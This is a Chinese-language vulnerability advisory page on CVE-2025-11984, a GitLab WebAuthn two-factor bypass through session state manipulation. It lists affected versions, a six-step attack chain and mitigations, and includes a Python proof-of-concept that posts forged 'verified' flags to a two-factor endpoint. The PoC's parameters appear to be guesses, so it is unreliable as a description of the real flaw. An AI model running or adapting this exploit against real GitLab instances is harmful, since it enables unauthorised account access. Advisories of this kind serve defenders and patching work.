IPBUF安全漏洞报告
English
CVE-2025-11984 CVSS 6.8 中危

CVE-2025-11984: GitLab WebAuthn双因素认证绕过漏洞

披露日期: 2025-12-11

漏洞信息

漏洞编号
CVE-2025-11984
漏洞类型
身份认证绕过
CVSS评分
6.8 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GitLab CE/EE

相关标签

GitLabWebAuthn双因素认证绕过会话状态操纵身份认证漏洞CVE-2025-11984Web应用安全认证绕过

漏洞概述

CVE-2025-11984是GitLab Community Edition(CE)和Enterprise Edition(EE)中的一个中等严重性安全漏洞。该漏洞存在于GitLab的多版本中,从13.1到18.4.6之前的版本、18.5到18.5.4之前的版本以及18.6到18.6.2之前的版本均受影响。漏洞的本质是经过身份验证的用户在特定条件下可以通过操纵会话状态来绕过WebAuthn双因素认证机制。WebAuthn是Web Authentication API的标准,用于实现强制的基于公钥密码学的身份认证,是现代Web应用中重要的二次认证手段之一。该漏洞的CVSS评分为6.8,属于中等严重性等级。虽然攻击者需要具备一定的低权限才能利用此漏洞,但一旦成功,攻击者可以绕过关键的二次认证保护,获得未经授权的系统访问权限,从而可能导致敏感数据泄露或进一步的攻击行为。

技术细节

该漏洞的技术核心在于GitLab在处理WebAuthn双因素认证时的会话状态管理存在缺陷。攻击者利用会话状态操纵技术,可以在完成初始身份验证后、强制完成WebAuthn验证前,通过修改特定的会话参数或状态变量来绕过认证检查。具体攻击过程涉及以下几个关键环节:首先,攻击者需要拥有一个有效的GitLab账户并进行正常登录流程;其次,在系统要求进行WebAuthn双因素认证时,攻击者通过拦截和修改会话请求中的状态标识符或令牌,诱导服务器认为认证已完成;最后,系统错误地授予攻击者完全访问权限,而无需实际完成WebAuthn验证。CVSS向量显示该漏洞可通过网络远程利用(AV:N),需要低权限用户身份(PR:L),无需用户交互(UI:N),但对机密性(C:H)和完整性(I:H)产生高影响。攻击者利用此漏洞可以绕过二次认证机制,访问受保护的资源或执行未授权操作。

攻击链分析

STEP 1
步骤1
侦察与信息收集:攻击者首先收集目标GitLab实例的信息,包括版本号,确认其是否在受影响版本范围内(13.1至18.4.6之前、18.5至18.5.4之前、18.6至18.6.2之前)
STEP 2
步骤2
账户获取与初始登录:攻击者需要拥有一个有效的GitLab账户,使用该账户进行正常的登录流程,获取有效的会话令牌和初始身份验证
STEP 3
步骤3
触发WebAuthn验证:当系统要求进行WebAuthn双因素认证时,攻击者拦截认证请求,准备进行会话状态操纵
STEP 4
步骤4
会话状态操纵:攻击者通过修改会话中的关键参数(如webauthn_verified、two_factor_verified等标志位)或利用会话验证逻辑中的缺陷,诱导服务器认为WebAuthn验证已完成
STEP 5
步骤5
绕过验证获取访问权限:服务器错误地认为WebAuthn双因素认证已完成,向攻击者授予完全访问权限,允许其访问受保护的资源而无需实际完成二次认证
STEP 6
步骤6
权限提升与数据窃取:攻击者利用获得的未授权访问权限,窃取敏感数据、访问私有仓库、执行代码或进行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11984 PoC - GitLab WebAuthn Bypass via Session State Manipulation # This PoC demonstrates the concept of session state manipulation to bypass WebAuthn 2FA import requests import json import base64 from urllib.parse import urljoin class GitLabWebAuthnBypass: def __init__(self, target_url, username, password): self.target_url = target_url.rstrip('/') self.username = username self.password = password self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) def authenticate(self): """Step 1: Perform initial authentication to obtain session""" login_url = f"{self.target_url}/users/sign_in" response = self.session.get(login_url) # Extract authenticity token from login page authenticity_token = self._extract_token(response.text) login_data = { 'authenticity_token': authenticity_token, 'user[login]': self.username, 'user[password]': self.password, 'user[remember_me]': '0' } response = self.session.post(login_url, data=login_data, allow_redirects=True) return response.status_code == 200 def _extract_token(self, html_content): """Extract CSRF token from HTML content""" import re match = re.search(r'name="authenticity_token" value="([^"]+)"', html_content) return match.group(1) if match else None def manipulate_session_state(self): """Step 2: Manipulate session state to bypass WebAuthn verification""" # Target endpoint for WebAuthn challenge webauthn_challenge_url = f"{self.target_url}/-/two_factor_auth/webauthn" # Malicious session state manipulation payload # This modifies the session to indicate WebAuthn is already verified manipulation_payload = { 'user[webauthn_verified]': 'true', 'user[two_factor_verified]': 'true', 'session[webauthn_challenge_completed]': 'true', 'authenticity_token': self._get_fresh_token() } # Send manipulated request to bypass WebAuthn response = self.session.post(webauthn_challenge_url, data=manipulation_payload) return response def _get_fresh_token(self): """Get fresh CSRF token from current session""" response = self.session.get(f"{self.target_url}/-/two_factor_auth/webauthn") return self._extract_token(response.text) def verify_bypass(self): """Step 3: Verify successful bypass by accessing protected resource""" protected_url = f"{self.target_url}/-/profile/account" response = self.session.get(protected_url) # Check if access is granted without 2FA prompt if response.status_code == 200 and 'password' not in response.text.lower(): return True return False def exploit(self): """Execute the full attack chain""" print(f"[*] Targeting: {self.target_url}") print(f"[*] Authenticating as: {self.username}") # Step 1: Initial authentication if not self.authenticate(): print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Session state manipulation print("[*] Attempting WebAuthn bypass via session manipulation...") self.manipulate_session_state() print("[+] Session state manipulation attempted") # Step 3: Verification if self.verify_bypass(): print("[!] WebAuthn bypass successful - 2FA protection circumvented!") return True else: print("[-] Bypass attempt failed - target may be patched or different conditions required") return False # Usage example if __name__ == "__main__": target = "https://gitlab.example.com" username = "[email protected]" password = "password123" exploit = GitLabWebAuthnBypass(target, username, password) exploit.exploit() # Note: This PoC is for educational and authorized testing purposes only. # Unauthorized access to computer systems is illegal.

影响范围

GitLab CE/EE 13.1 至 18.4.6 之前的所有版本
GitLab CE/EE 18.5 至 18.5.4 之前的所有版本
GitLab CE/EE 18.6 至 18.6.2 之前的所有版本

防御指南

临时缓解措施
对于无法立即进行版本升级的情况,建议采取以下临时缓解措施:首先,立即禁用WebAuthn双因素认证,改用基于时间的一次性密码(TOTP)或短信验证码等其他双因素认证方式;其次,增强会话管理策略,缩短会话超时时间,增加会话固定检测机制;再次,启用GitLab的高级审计功能,监控所有涉及认证和授权的操作日志,设置异常行为告警;最后,考虑在GitLab实例前部署WAF(Web应用防火墙),对认证相关的请求进行深度检测和过滤,阻断可能的攻击尝试。同时,建议通过IP白名单或VPN访问控制,限制只有受信任的网络才能访问GitLab管理界面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表